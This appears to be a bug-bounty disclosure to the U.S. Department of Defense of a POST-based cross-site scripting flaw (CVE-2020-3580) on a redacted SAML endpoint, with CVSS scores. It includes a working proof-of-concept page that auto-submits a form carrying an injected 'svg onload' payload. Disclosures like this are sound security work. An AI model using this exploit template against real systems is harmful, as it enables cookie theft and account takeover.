U.S. Dept Of Defense: XSS DUE TO CVE-2020-3580

2021-06-2611:36:25

vess_razz

hackerone.com

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

2.6 Low

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:H/Au:N/C:N/I:P/A:N

0.973 High

EPSS

Percentile

99.8%

JSON

Hello Team,
During my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.

Vulnerable URL: https://█████/+CSCOE+/saml/sp/acs?tgname=a

Impact

Attackers can steal cookies and even takeover accounts and perform different malicious activities.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Save Following code as xss.html and open in any browser:
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=“https://███/+CSCOE+/saml/sp/acs?tgname=a” method=“POST”>
<input type=“hidden” name=“SAMLResponse” value=“"><svg/onload=alert('XSS')>” />
<input type=“hidden” name=“” value=“” />
<input type=“submit” value=“Submit request” />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>